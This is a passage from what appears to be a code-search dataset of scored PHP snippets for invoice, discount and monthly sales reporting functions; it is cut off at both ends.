month',\n 'SELECT period, SUM(analytic_shop.wishlist_products_count) as wishlist_products_count\n FROM analytic_data analytic,\n analytic_shop analytic_shop\n WHERE period >= \"2012-10-21 00:00\"\n AND period < \"2012-11-21 00:00\"\n AND analytic_shop.analytic_id = analytic.id\n GROUP BY period\n ORDER BY period\n LIMIT 100'\n );\n }", "title": "" }, { "docid": "47e94aba123d9be6cdf72b6270b3dd0b", "score": "0.56875503", "text": "public function getDiscount()\n {\n }", "title": "" }, { "docid": "7cce6fc6c480153cf96f20d5120f61b8", "score": "0.56734276", "text": "public function getTotalMonthInvoices() {\n $firstDay = new Carbon('first day of this month');\n return $this->invoices->where('date', '>', $firstDay)->sum('amount');\n }", "title": "" }, { "docid": "eeb3bfd107ab395341febf6719132edd", "score": "0.56686234", "text": "public function getPurchaseDetails() {\n\t\t$db = new DBManager();\n\n\t\t$year = date(\"Y\",strtotime(\"-1 month\"));\n $month = date(\"m\",strtotime(\"-1 month\"));\n $sql = \"SELECT * from ems_receive_invoice, ems_invoice_receive_amount where MONTH(ems_receive_invoice.created_at) = $month AND YEAR(ems_receive_invoice.created_at) = $year and ems_receive_invoice.invoice_id = ems_invoice_receive_amount.invoice_id order by ems_receive_invoice.id desc\";\n\n $data = $db->getAllRecords($sql);\n $total = $db->getNumRow($sql);\n while ($row = $db->getNextRow()) {\n $this->receive_invoice_id[] = $row['invoice_id'];\n $this->receive_client_name[] = $row['name'];\n $this->receive_gstin[] = $row['gstin'];\n $this->receive_invoice_date[] = $row['invoice_date'];\n $this->receive_invoice_paid_date[] = $row['invoice_paid_date'];\n $this->receive_desc_of_service[] = $row['desc_of_service'];\n $this->receive_sac_code[] = $row['sac_code'];\n $this->receive_quantity[] = $row['quantity'];\n $this->receive_price[] = $row['price'];\n $this->receive_sgst[] = $row['sgst'];\n $this->receive_cgst[] = $row['cgst'];\n $this->receive_igst[] = $row['igst'];\n $this->receive_currency_type[] = $row['currency_type'];\n $this->receive_invoice_amount[] = $row['invoice_amount'];\n }\n return $total;\n\t}", "title": "" }, { "docid": "397d441f93a32a4d32d56fb5fa8032c4", "score": "0.5660995", "text": "public function getTotalMonthlyJournalEntry(){\n\n try {\n\n $journals = AccountsSummery::select(\n DB::raw('\n tbl_accounts_summery.id')\n )\n ->where(DB::raw('MONTH(tbl_accounts_summery.date)'), '=', date('n'))\n ->where('tbl_accounts_summery.type', '1')\n ->get();\n\n \n $jr = ['cr' => '0.00'];\n if(isset($journals) )\n {\n $amount = 0;\n $debit = 0;\n foreach($journals as $journal)\n {\n $amount += $journal->amount->sum('credit');\n\n }\n \n $jr = ['cr' => $amount];\n \n }\n //print_r($jr);\n return $jr;\n\n\n } catch (ModelNotFoundException $e) {\n \n }\n }", "title": "" }, { "docid": "29a845783f65e0839a6dfcbd47fda937", "score": "0.5653892", "text": "public static function totalMonthDelivery() {\n //$now = Carbon::now()->format('m');\n $delivery = new Delivery();\n $now = date('m', strtotime('-1 months', strtotime(date('Y-m-d'))));\n return $delivery->whereMonth('collection_date', '>=', $now)->where('user_id','=',auth()->user()->id)->orderBy('collection_date','ASC')->get();\n }", "title": "" }, { "docid": "ff227a8dfa074bc38cf3c6992cc7a98a", "score": "0.5636717", "text": "public function get_json_year_sales(){\n\t\t$year_today = date(\"Y\");\n\t\t$sql = \"SELECT DISTINCT MONTH(date_issued) AS month_selected, SUM(total_amount) as month_sales FROM tbl_invoice WHERE YEAR(date_issued)='$year_today' GROUP BY month_selected\";\n\t\t\n\t\t$result = mysqli_query($this->db,$sql);\n\t\tif (mysqli_num_rows($result)>0){\n\t\t\twhile($row = mysqli_fetch_assoc($result)){\n\t\t\t\t$list[] = $row;\n\t\t\t}\n }else{\n $list=false;\n }\n \n\t\treturn $list;\n\t}", "title": "" }, { "docid": "33c0530f16abe4b50d8f36da0bfc882c", "score": "0.563248", "text": "public function getAllActualInvoiceForMonth($month){\n $this->db->select('Tm.invoice_net_amount,Tm.invoice_originate_date, clientM.client_name, curM.currency_symbol, Tm.invoice_currency');\n $this->db->from(TBL_INVOICE_MASTER . ' as Tm');\n $this->db->join(TBL_CLIENT_MASTER . ' as clientM', 'clientM.client_id = Tm.client_id');\n $this->db->join(TBL_CURRENCY_MASTER. ' as curM','curM.currency_id = Tm.invoice_currency');\n\n $this->db->where('Tm.invoice_acceptance_status', 'Accept');\n $this->db->where('Tm.gen_approval_status', 'Accept');\n\n if ($month && !empty($month)) {\n $first_date = $month;\n //Here we treat 1-6th date as previous month and 7th to next month's 6th will be current month\n $first_date = date(\"Y-m-07\", strtotime($first_date));\n $second_date = date(\"Y-m-06\", strtotime('+1 month', strtotime($month)));\n $this->db->group_start();\n $this->db->where('Tm.invoice_originate_date >=', $first_date);\n $this->db->where('Tm.invoice_originate_date <=', $second_date);\n $this->db->group_end();\n }\n\n $query = $this->db->get();\n //echo $this->db->last_query(); die;\n //return $query->row();\n return $query->result();\n }", "title": "" }, { "docid": "adbe9e927092cb2ff16196c779667951", "score": "0.5626567", "text": "public function getGlobalDiscounts()\n\t{\n\t\tif (\\App\\Cache::has('Inventory', 'Discounts')) {\n\t\t\treturn \\App\\Cache::get('Inventory', 'Discounts');\n\t\t}\n\t\t$discounts = (new App\\Db\\Query())->from('a_#__discounts_global')->where(['status' => 0])\n\t\t\t->createCommand(App\\Db::getInstance('admin'))->queryAllByGroup(1);\n\t\t\\App\\Cache::save('Inventory', 'Discounts', $discounts, \\App\\Cache::LONG);\n\t\treturn $discounts;\n\t}", "title": "" }, { "docid": "95799645140adc26663f6d4552c75da0", "score": "0.5624421", "text": "public function getArInvoicesTotalDiscMemosPayments() {\n\t\t$col = ArInvoice::aliasproperty('discount');\n\t\t$q = ArInvoiceQuery::create();\n\t\t$q->withColumn(\"SUM($col)\", \"discount\");\n\t\t$q->select('discount');\n\t\t$q->filterByCustid($this->custid);\n\t\t$q->filterByType([ArInvoice::TYPE_MEMO, ArInvoice::TYPE_PAYMENT]);\n\t\treturn $q->findOne();\n\t}", "title": "" }, { "docid": "5e3aacbd710d7aa529426d39d41f0bce", "score": "0.56171954", "text": "private function storeWholesaleDiscounts() {\n return $this->json('POST', 'api/sl_wholesale_discount', $this->tempJson);\n }", "title": "" }, { "docid": "cd3d95a8edd3830e59cdb0f4db9e22fe", "score": "0.56108594", "text": "public function getMonthlyProcessInvoices()\n {\n $date=date(\"Y-m-01\");\n $process_query=\"SELECT *,MONTH(i.created_at + INTERVAL (i.pay_later_month) MONTH) as pay_month From \".$this->_name.\" i\n INNER JOIN Royalties r ON i.invoiceId=r.invoiceId\n WHERE date_format(i.created_at, '%Y-%m-%d')<'\".$date.\"' AND i.Status='Not Paid' \n GROUP BY i.invoiceId \n Having pay_month=date_format(now(), '%m')\n ORDER BY i.created_at DESC\"; \n \n \n //echo $process_query;exit;\n if(($result=$this->getQuery($process_query,true))!=NULL)\n {\n return $result;\n }\n else\n return NULL;\n\n }", "title": "" }, { "docid": "7dded576bf71cfcdf4bc0ebf5c693e75", "score": "0.5609337", "text": "public function get_discounts_by_coupon($in_cents = \\false)\n {\n }", "title": "" }, { "docid": "cfe85dd0ebe725c5a85b98174ed3e276", "score": "0.56084967", "text": "private function monthlyDataFormationForGoogleChart ($limit, $date, $increamentType, $subscribes) {\n\t \tfor ($i=0; $i < ($limit+1); $i++) {\n\t\t\t\t$dailyDate = $date;\n\t\t\t\t$rangeDailyDate = date('d-m-Y', strtotime($date.' + '.$i.' '.$increamentType));\n\t\t\t\tif(count($subscribes)) {\n\t\t\t\t\tfor ($j=0; $j < count($subscribes); $j++) {\n\t\t\t\t\t\t$data[$i]['date'] = date('M', strtotime($date.' + '.$i.' '.$increamentType));\n\t\t\t\t\t\t$data[$i]['value'] = 0;\n\t\t\t\t\t\tif (strpos($subscribes[$j]['Date'], date('Y-m', strtotime($date.' + '.$i.' '.$increamentType))) !== false) {\n\t\t\t\t\t\t\t$data[$i]['date'] = date('M', strtotime($date.' + '.$i.' '.$increamentType));\n\t\t\t\t\t\t\t$data[$i]['value'] = $subscribes[$j]['RecordCount'];\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$data[$i]['date'] = date('M', strtotime($date.' + '.$i.' '.$increamentType));\n\t\t\t\t\t$data[$i]['value'] = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $data;\n\t }", "title": "" }, { "docid": "1be334fe3ff047e19b725e58108b4212", "score": "0.5599467", "text": "public function getCreatedInvoicebyMonth() {\n\t\t$db = new DBManager();\n $sql = \"SELECT ems_invoices.invoice_id as invoice_id, ems_invoices.created_at as created_at from ems_invoices, ems_invoice_amount where ems_invoices.invoice_id = ems_invoice_amount.invoice_id GROUP BY DATE_FORMAT(ems_invoices.created_at, '%Y%m') order by ems_invoices.id desc\";\n\n $data = $db->getAllRecords($sql);\n $totalSale = $db->getNumRow($sql);\n while ($row = $db->getNextRow()) {\n $this->created_invoice_id[] = $row['invoice_id'];\n $this->created_invoice_date_monthly[] = $row['created_at'];\n }\n return $totalSale;\n }", "title": "" }, { "docid": "57daa0871ec83b94146e16a587d863b6", "score": "0.5595868", "text": "public function discountPriceMonths()\n {\n return $this->get('discount_price_months');\n }", "title": "" }, { "docid": "092766e48d5787b2622a615919804b01", "score": "0.5589054", "text": "public function getPurchaseCountSixMonths();", "title": "" }, { "docid": "5fcd454950d5576e63243571828db006", "score": "0.55693424", "text": "public function getStreamWiseTotalInvoiceForMonth($month){\n $this->db->select('Tm.invoice_net_amount,Tm.invoice_originate_date, clientM.client_name, curM.currency_symbol, Tm.invoice_currency, catM.category_name');\n $this->db->from(TBL_INVOICE_MASTER . ' as Tm');\n $this->db->join(TBL_CATEGORY_MASTER . ' as catM', 'catM.id = Tm.category_id');\n $this->db->join(TBL_CLIENT_MASTER . ' as clientM', 'clientM.client_id = Tm.client_id');\n $this->db->join(TBL_CURRENCY_MASTER. ' as curM','curM.currency_id = Tm.invoice_currency');\n\n $this->db->where('Tm.invoice_acceptance_status', 'Accept');\n $this->db->where('Tm.gen_approval_status', 'Accept');\n\n if ($month && !empty($month)) {\n $first_date = $month;\n //Here we treat 1-6th date as previous month and 7th to next month's 6th will be current month\n $first_date = date(\"Y-m-07\", strtotime($first_date));\n $second_date = date(\"Y-m-06\", strtotime('+1 month', strtotime($month)));\n //$second_date = date(\"Y-m-t\", strtotime($month));\n $this->db->group_start();\n $this->db->where('Tm.invoice_originate_date >=', $first_date);\n $this->db->where('Tm.invoice_originate_date <=', $second_date);\n $this->db->group_end();\n }\n $query = $this->db->get();\n //echo $this->db->last_query(); die;\n return $query->result();\n }", "title": "" }, { "docid": "112148fe4f281014409803f980121159", "score": "0.5557869", "text": "public function getcosstotalcouriermonth()\n {\n\t\t$month = date('m');\n\t\t$year = date('Y'); //2019\n\t\t$courbudget = 0;\n\t\t$sql = \"SELECT r_costtotal FROM \" . self::cTable . \" WHERE month(created)='$month' AND year(created)='$year' AND act_status = '1' AND con_status='0' AND payment_status='0' AND status_novelty='0'\";\n\t\t$row = self::$db->fetch_all($sql);\n \n foreach ($row as $budget){\n\t\t\treturn $courbudget+= $budget->r_costtotal;\t\n\t\t\t} \n }", "title": "" }, { "docid": "25c58dfb7afcafd4f8242fde754fb21a", "score": "0.5555281", "text": "public function getSalesConversionForCurrMonth(){\n $weeks = $this->getWeeksInMonth(date('m'), date('Y'));\n\n $month_data = [];\n $count = 0;\n foreach($weeks as $week){\n $no = $count + 1;\n\n $month_data['Week '.$no] = $this->getWeeklySaleConversions($week['from'], $week['to']);\n\n $count++;\n }\n return $month_data;\n }", "title": "" }, { "docid": "88fdb163e19259de81556b4a2e3d6200", "score": "0.5545833", "text": "public function getCategoryDiscounts() {\n return $this->category_discounts;\n }", "title": "" }, { "docid": "7777f3af2ba9926a07c1e996902c1feb", "score": "0.55394465", "text": "public function getDiscounts()\n {\n return $this->hasMany(Discount::className(), ['productId' => 'id']);\n }", "title": "" }, { "docid": "90cbf7e450a6d389142367660e052fb4", "score": "0.55380213", "text": "public function monthly_customized($month, $year, $from, $to, $report_type){\n\n \n $data = $this->servicedesk_model->monthly_customized_model($month, $year, $from, $to);\n $temp_arr = array();\n\n foreach($data as $result){\n $res_arr = array(\n 'store_code' => $result['store_code'],\n 'store_name' => $result['store_name'],\n 'tc' => $result['tc'], \n 'sales' => $result['sales'],\n 'net_sales' => $result['net_sales']\n );\n array_push($temp_arr, $res_arr);\n \n }\n\n $ttl = array();\n $ttl = $this->customized_getTotal($temp_arr);\n array_push($temp_arr, $ttl);\n\n\n $this->get_csv_monthly_customized($temp_arr,$month, $year, $report_type);\n\n return $temp_arr;\n\n \n\n \n }", "title": "" }, { "docid": "1f42769866b7e838ce6a4cd4ba262f87", "score": "0.55243146", "text": "private function getOrdersMonthly()\n {\n $this->runTest(\n 'Test 45. Get orders by month',\n 'SELECT period, SUM(analytic_shop.orders_count) as orders_count\n FROM analytic_data analytic,\n analytic_shop analytic_shop\n WHERE period >= \"2012-10-21 00:00\"\n AND period < \"2012-11-21 00:00\"\n AND analytic_shop.analytic_id = analytic.id\n GROUP BY period\n ORDER BY period\n LIMIT 100'\n );\n }", "title": "" }, { "docid": "9dccfb4dd8acffcd49ecbb23196c67fe", "score": "0.5520676", "text": "public function coupons(){\n\t\t$appid = I('appid');\n\n\t\t$url = \"https://api.it120.cc/tz//discounts/coupons\";\n\n\t\t$res = httpRequest($url);\n\t\techo $res;\n\n\t}", "title": "" }, { "docid": "c651fb72f4ddacb98e1260ffbb0dd123", "score": "0.55187017", "text": "function item_discounts() \r\n\t{\r\n\t\t// Check if POST data has been submitted, if so, call the custom demo model function to handle the submitted data.\r\n\t\tif ($this->input->post('update_discounts'))\r\n\t\t{\r\n\t\t\t$this->load->model('demo_cart_admin_model');\r\n\t\t\t$this->demo_cart_admin_model->demo_update_discounts();\r\n\t\t}\r\n\t\t\r\n\t\t// Get an array of all discounts filtered by a 'type' of 1 ('item discounts') and for purposes of this demo, have an id of 32+.\r\n\t\t$sql_where = array(\r\n\t\t\t$this->flexi_cart_admin->db_column('discounts', 'id').' >=' => 32,\r\n\t\t\t$this->flexi_cart_admin->db_column('discounts', 'type') => 1\r\n\t\t);\r\n\t\t$this->data['discount_data'] = $this->flexi_cart_admin->get_db_discount_query(FALSE, $sql_where)->result_array();\r\n\t\t\r\n\t\t// Set a variable to indicate on the html page that the discount is an 'item' discount.\r\n\t\t$this->data['discount_type'] = 'item';\r\n\t\r\n\t\t// Get any status message that may have been set.\r\n\t\t$this->data['message'] = $this->session->flashdata('message');\r\n\r\n\t\t$this->load->view('admin/discounts/discounts_view', $this->data);\r\n\t}", "title": "" }, { "docid": "1f9e86ad97ec1723dfa2deaf1d9b9a41", "score": "0.55097836", "text": "abstract public function getMonthlyFee();", "title": "" }, { "docid": "04905230e4126adc7b4ca06023b58c4f", "score": "0.5502939", "text": "public static function get_financials($by=false)\n {\n $cachekey = 'get_financials' . $by;\n\n $ttl = Config::get('dailyemd.ttl');\n\n $cache = self::lookup($cachekey);\n\n if($cache !== false)\n {\n return $cache;\n }\n\n switch($by)\n {\n case 'DAY':\n $merge = $days = self::get_all_days();\n break;\n case 'WEEK':\n $days = self::get_all_days();\n $merge = self::get_all_weeks();\n break;\n case 'MONTH':\n $days = self::get_all_days();\n $merge = array();\n\n foreach($days as $k=>$v)\n {\n $merge[substr($k,0,6)] = 1;\n }\n\n break;\n default:\n $days = self::get_all_days();\n $by = false;\n $merge = false;\n break;\n }\n\n $meta = self::get_meta_invoices();\n\n $range = array_keys($days);\n $start = $range[0];\n $finish = $range[count($range)-1];\n\n\n // $billed_totals = EmdApi::get_billing($meta, $start, $finish, 'both');\n //put whole thing to local storage\n // $paid_totals = EmdApi::get_collections($meta, $start, $finish, 'both');\n\n\n $billed = EmdApi::get_billing($meta, $start, $finish, 'both', $by);\n //put whole thing to local storage\n $paid = EmdApi::get_collections($meta, $start, $finish, 'both', $by);\n\n $result = array();\n //merge data\n\n if(!$merge)\n {\n //it is just totals so safe to slam together.\n $result = array_merge($billed, $paid);\n }\n else\n {\n foreach($merge as $day=>$d)\n {\n $b = $p = array();\n\n if(!isset($result[$day]))\n {\n $result[$day] = array();\n }\n\n if(isset($billed[$day]))\n {\n //add billing\n $b = $billed[$day];\n }\n\n if(isset($paid[$day]))\n {\n //add billing\n $p = $paid[$day];\n }\n\n $result[$day] = array_merge($b,$p);\n }\n }\n\n self::store($cachekey, $result, $ttl);\n\n return $result;\n }", "title": "" }, { "docid": "7a4da6e22e73ad9d1883bfd29e48d223", "score": "0.55009186", "text": "function salesInLastSixMonths()\n {\n return $this->db->query(\"select to_char(receipt_day,'Mon') as mon,\n extract(year from receipt_day) as yyyy,\n sum(received_amount)::money::numeric::float8 \n\t from bills_to_receive\n\t WHERE receipt_day >= current_date - interval '6 months'\n\t group by 1,2 ORDER BY 1\")->result();\n }", "title": "" }, { "docid": "45bd6a9a33fe1fc728c60eecc7a468b4", "score": "0.54965806", "text": "public function reportingByMonth(){\n $anneCours = date('Y');\n //$dateM = date('m');\n $this->table = \"transaction\";\n $this->champs =[\"MONTH(date) as mois, sum(montant) as mnt\"];\n $this->condition=[\"YEAR(date) =\"=> $anneCours /*,\"MONTH(date) =\"=> $dateM*/];\n $this->group = [\"MONTH(date)\"];\n return $this->__select();\n }", "title": "" }, { "docid": "9b2e27ee4638b8440383ef2f43cdbe68", "score": "0.54954356", "text": "function _sr_customer_rate_chart(){\r\r\n\t$date_min = strtotime( wwex_report_charts_start_date() );\r\r\n\t$date_max = time();\r\r\n\t\r\r\n\t$results = _sr_query_customer_rate_results(array($date_min, $date_max));\r\r\n\t\r\r\n\t$formated_results = _sr_customer_rate_format_results( $results );\r\r\n\treturn $formated_results;\r\r\n}", "title": "" }, { "docid": "2cb9b37a6e1404fea3a3ef49e5833d98", "score": "0.54859257", "text": "public function getCalcDiscount();", "title": "" }, { "docid": "80c0f510b731a9e519faead3f004c1c2", "score": "0.5469498", "text": "public function orders_by_month_yearly($customer_id,$year,$month) {\n\n\n $this->query(\"SET CHARACTER SET utf8\");\n\n $query=\"SELECT orders.order_id as id,\n orders.*,order_options.*,merchantrefs.*\n ,resellers.full_name as 'reseller_name',`customers`.`full_name` as 'customer_name'\n from orders\n INNER JOIN `customers` on `orders`.`customer_id`=`customers`.`customer_id`\n INNER JOIN `customers` resellers on resellers.`customer_id` = `orders`.`reseller_id`\n INNER join order_options on orders.order_id= order_options.order_id\n LEFT join merchantrefs on orders.order_id= merchantrefs.order_id\n where product_subscription_type='yearly' and\n \t\torders.customer_id=\".$customer_id;\n //echo $query;\n\t\t$ordersResult = $this->query($query);\n\n\t\t$orders=array();\n\n\t\twhile ($order_row = $this->fetch_assoc($ordersResult)) {\n\t\t\t$monthsInfo=array();\n\n\t\t\t$tempPostDate = new DateTime($year.\"-\".$month.\"-01\");\n\t\t\t$postDate = new DateTime($year.\"-\".$month.\"-\".$tempPostDate->format( 't' ));\n\n\n\t\t\t$orderChild = array();\n $order_row[\"order_id\"]=$order_row[\"id\"];\n $orderChild[\"displayed_order_id\"]=$order_row[\"order_id\"];\n $order_id=$order_row[\"order_id\"];\n if ((int) $order_id > 10380)\n $orderChild[\"displayed_order_id\"] = (((0x0000FFFF & (int) $order_id) << 16) + ((0xFFFF0000 & (int) $order_id) >> 16));\n\n\t\t\t$orderChild[\"order_id\"]=$order_row[\"order_id\"];\n /// discount fields\n $orderChild[\"discount\"]=$order_row[\"discount\"];\n $orderChild[\"discount_duration\"]=$order_row[\"discount_duration\"];\n $orderChild[\"free_router\"]=$order_row[\"free_router\"];\n $orderChild[\"free_modem\"]=$order_row[\"free_modem\"];\n $orderChild[\"free_adapter\"]=$order_row[\"free_adapter\"];\n $orderChild[\"free_installation\"]=$order_row[\"free_installation\"];\n $orderChild[\"free_transfer\"]=$order_row[\"free_transfer\"];\n ///////////\n $orderChild[\"join_type\"]=$order_row[\"join_type\"];\n $orderChild[\"reseller_name\"]=$order_row[\"reseller_name\"];\n $orderChild[\"customer_name\"]=$order_row[\"customer_name\"];\n\t\t\t$orderChild[\"creation_date\"] = $order_row[\"creation_date\"];\n\t\t\t$orderChild[\"total_price\"]=is_numeric($order_row[\"total_price\"])?$order_row[\"total_price\"]:0;\n\t\t\t$orderChild[\"product_price\"]=is_numeric($order_row[\"product_price\"])?$order_row[\"product_price\"]:0;\n\t\t\t$orderChild[\"additional_service_price\"]=is_numeric($order_row[\"additional_service_price\"])?$order_row[\"additional_service_price\"]:0;\n\t\t\t$orderChild[\"setup_price\"]=is_numeric($order_row[\"setup_price\"])?$order_row[\"setup_price\"]:0;\n\t\t\t$orderChild[\"modem_price\"]=is_numeric($order_row[\"modem_price\"])?$order_row[\"modem_price\"]:0;\n\n\t\t\t$orderChild[\"router_price\"]=is_numeric($order_row[\"router_price\"])?$order_row[\"router_price\"]:0;\n $orderChild[\"static_ip_price\"]=is_numeric($order_row[\"static_ip_price\"])?$order_row[\"static_ip_price\"]:0;\n\t\t\t$orderChild[\"remaining_days_price\"]=is_numeric($order_row[\"remaining_days_price\"])?$order_row[\"remaining_days_price\"]:0;\n\t\t\t$orderChild[\"qst_tax\"]=is_numeric($order_row[\"qst_tax\"])?$order_row[\"qst_tax\"]:0;\n\t\t\t$orderChild[\"gst_tax\"]=is_numeric($order_row[\"gst_tax\"])?$order_row[\"gst_tax\"]:0;\n\t\t\t$orderChild[\"adapter_price\"]=is_numeric($order_row[\"adapter_price\"])?$order_row[\"adapter_price\"]:0;\n\n\t\t\t$orderChild[\"plan\"]=$order_row[\"plan\"];\n\t\t\t$orderChild[\"modem\"]=$order_row[\"modem\"];\n\t\t\t$orderChild[\"router\"]=$order_row[\"router\"];\n $orderChild[\"static_ip\"]=$order_row[\"static_ip\"];\n\t\t\t$orderChild[\"cable_subscriber\"]=$order_row[\"cable_subscriber\"];\n\t\t\t$orderChild[\"current_cable_provider\"]=$order_row[\"current_cable_provider\"];\n\t\t\t$orderChild[\"cancellation_date\"]=$order_row[\"cancellation_date\"];\n\t\t\t$orderChild[\"installation_date_1\"]=$order_row[\"installation_date_1\"];\n\t\t\t$orderChild[\"actual_installation_date\"]=$order_row[\"actual_installation_date\"];\n\n\t\t\t$orderChild[\"product_title\"]=$order_row[\"product_title\"];\n\t\t\t$orderChild[\"product_category\"]=$order_row[\"product_category\"];\n\t\t\t$orderChild[\"product_subscription_type\"]=$order_row[\"product_subscription_type\"];\n\n $orderChild[\"payment_method\"]=\"Cash on Delivery\";\n if(strpos($order_row[\"merchantref\"], 'cache_on_delivery') === false)\n {\n $orderChild[\"payment_method\"]=\"VISA\";\n }\n\n\t\t\tif($order_row[\"product_category\"]===\"phone\"){\n\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"creation_date\"];\n\t\t\t}\n\t\t\telse if($order_row[\"product_category\"]===\"internet\"){\n\t\t\t\tif($order_row[\"cable_subscriber\"]===\"yes\"){\n\t\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"cancellation_date\"];\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$orderChild[\"start_active_date\"]=$order_row[\"installation_date_1\"];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse // if not internet nor phone then ignore for now\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$start_active_date = new DateTime($orderChild[\"start_active_date\"]);\n///////////////////////////////////////////////////////////////////////////////////// if requsted date is before the order then skip this order\n\n\t\t\tif(\n\t\t\t\t((int)$postDate->format('Y')<(int)$start_active_date->format('Y'))\n\t\t\t\t||\n\t\t\t\t((int)$postDate->format('m')<(int)$start_active_date->format('m') && (int)$postDate->format('Y')===(int)$start_active_date->format('Y'))\n\t\t\t)\n\t\t\t\tcontinue;\n\n\t\t\tif(((int)$start_active_date->format('d'))>1)\n\t\t\t{\n\t\t\t\t$recurring_date = new DateTime($start_active_date->format('Y').\"-\".$start_active_date->format('m').\"-01 00:00:00\");\n\t\t\t\t$interval = new DateInterval('P1M');\n\t\t\t\t$recurring_date->add($interval);\n\t\t\t\t$interval = new DateInterval('P1Y');\n\t\t\t\t$recurring_date->add($interval);\n\t\t\t\t$orderChild[\"recurring_date\"]=$recurring_date->format('Y-m-d');\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$recurring_date=new DateTime($orderChild[\"start_active_date\"]);\n\t\t\t\t$interval = new DateInterval('P1Y');\n\t\t\t\t$recurring_date->add($interval);\n\t\t\t\t$orderChild[\"recurring_date\"]=$recurring_date->format('Y-m-d');\n\t\t\t}\n\t\t\t$monthInfo=array();\n\t\t\t$monthInfo[\"product_category\"]=$order_row[\"product_category\"];\n\t\t\t$monthInfo[\"product_subscription_type\"]=$order_row[\"product_subscription_type\"];\n\n\t\t\t$startEndRecurringDate=$this->getRecurringDateForDate($start_active_date,$recurring_date,$postDate);\n\t\t\tif($startEndRecurringDate[\"start_date\"]!== $start_active_date)\n\t\t\t{\n\t\t\t\t$product_price=(float)$orderChild[\"product_price\"];\n\t\t\t\t$totalPriceWoT=$product_price;\n\n\t\t\t\t$qst_tax=$totalPriceWoT*0.09975;\n\t\t\t\t$gst_tax=$totalPriceWoT*0.05;\n\n\t\t\t\t$totalPriceWT=$totalPriceWoT+$qst_tax+$gst_tax;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\n\t\t\t\t$monthInfo[\"product_price\"]=$orderChild[\"product_price\"];\n\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t$monthInfo[\"modem_price\"]=$orderChild[\"modem_price\"];\n\t\t\t\t$monthInfo[\"router_price\"]=$orderChild[\"router_price\"];\n\t\t\t\t$monthInfo[\"plan\"]=$orderChild[\"plan\"];\n\t\t\t\t$monthInfo[\"modem\"]=$orderChild[\"modem\"];\n\t\t\t\t$monthInfo[\"router\"]=$order_row[\"router\"];\n $monthInfo[\"static_ip\"]=$order_row[\"static_ip\"];\n $monthInfo[\"static_ip_price\"]=$order_row[\"static_ip_price\"];\n\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t$monthInfo[\"qst_tax\"]=$qst_tax;\n\t\t\t\t$monthInfo[\"gst_tax\"]=$gst_tax;\n\t\t\t\t$monthInfo[\"adapter_price\"]=\"0\";\n\t\t\t\t$monthInfo[\"product_title\"]=$order_row[\"product_title\"];\n\t\t\t\t$monthInfo[\"days\"]=$startEndRecurringDate[\"start_date\"]->diff($startEndRecurringDate[\"end_date\"])->days;\n\t\t\t\t$monthInfo[\"from\"]=\"recurring\";\n\t\t\t\t$monthInfo[\"action\"]=\"recurring\";\n\t\t\t\t$monthInfo[\"action_on_date\"]=$startEndRecurringDate[\"start_date\"]->format('Y-m-d');\n\n\t\t\t\t/// if there is request after order and before the recurring date get it's value as init value for recurring date\n\t\t\t\t$requestResult = $this->query(\"SELECT * from requests where\n `action` in ('terminate','change_speed','moving','swap_modem') and\n\t\t\t\torder_id=\".$order_row[\"order_id\"].\"\n\t\t\t\tand (year(action_on_date) <\".$startEndRecurringDate[\"start_date\"]->format('Y').\"\n\t\t\t\tor (year(action_on_date) =\".$startEndRecurringDate[\"start_date\"]->format('Y').\" and month(action_on_date) <\".$startEndRecurringDate[\"start_date\"]->format('m').\" ))\n\t\t\t\tand verdict = 'approve' order by action_on_date DESC LIMIT 1\");\n\n\t\t\t\twhile ($request_row = $this->fetch_assoc($requestResult)) {\n////////////////// update month info\n\t\t\t\t\tif($request_row[\"action\"]===\"terminate\")\n\t\t\t\t\t{\n $monthInfo[\"total_price_with_out_router\"]=0;\n\t\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=0;\n\t\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=0;\n\t\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=0;\n\t\t\t\t\t\t$monthInfo[\"product_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, 